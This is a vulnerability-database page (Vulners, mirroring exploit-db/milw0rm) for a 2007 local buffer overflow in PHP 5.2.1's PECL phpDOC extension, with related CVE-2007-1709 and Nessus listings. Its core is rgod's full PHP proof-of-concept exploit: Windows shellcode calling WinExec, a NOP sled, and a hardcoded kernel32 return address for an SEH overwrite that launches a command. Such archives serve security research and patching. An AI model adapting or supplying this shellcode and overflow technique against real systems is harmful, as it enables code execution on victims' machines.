Lucene search
+L

PHP 5.2.1 with PECL PHPDOC - Local Buffer Overflow

🗓️ 25 Mar 2007 00:00:00Reported by rgodType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

PHP buffer overflow exploit for PHP 5.2.1 with PEC

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
PHP 4.x < 4.4.7 / 5.x < 5.2.2 Multiple Vulnerabilities
4 May 200700:00
nessus
nessus
Tenable Nessus
PHP < 4.4.7 / 5.2.2 Multiple Vulnerabilities
4 May 200700:00
nessus
cve
CVE
CVE-2007-1709
27 Mar 200701:00
cve
cvelist
Cvelist
CVE-2007-1709
27 Mar 200701:00
cvelist
euvd
EUVD
EUVD-2007-1703
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-1709
27 Mar 200701:19
nvd
prion
Prion
Buffer overflow
27 Mar 200701:19
prion
redhatcve
RedhatCVE
CVE-2007-1709
30 Oct 201509:38
redhatcve
securityvulns
securityvulns
PHP PECL functions buffer overflows
27 Mar 200700:00
securityvulns
<?php
//PHP 5.2.1 with PECL phpDOC confirm_phpdoc_compiled() local buffer overflow poc exploit
//WIN 2K SP3 version / seh overwrite method
//to be launched from the cli

// by rgod
// site: http://retrogod.altervista.org

if (!extension_loaded("phpDOC")){
die("you need the phpDOC extension loaded.");
}


$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

//eip & ecx set to the same value ...
$eip="\x47\x30\xE9\x77";//0x77E93047      pop ECX - pop - retbis kernel32.dll
//and further (junk...) inc edi, xor cl ch, *ja short*
//should work on sp4 if you find an usable address
$____suntzu=str_repeat("\x90",1393 - strlen($____scode)).$____scode.str_repeat("\x90",30).$eip.str_repeat("\x90",12);
confirm_phpdoc_compiled($____suntzu);

?>

# milw0rm.com [2007-03-25]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.01982
35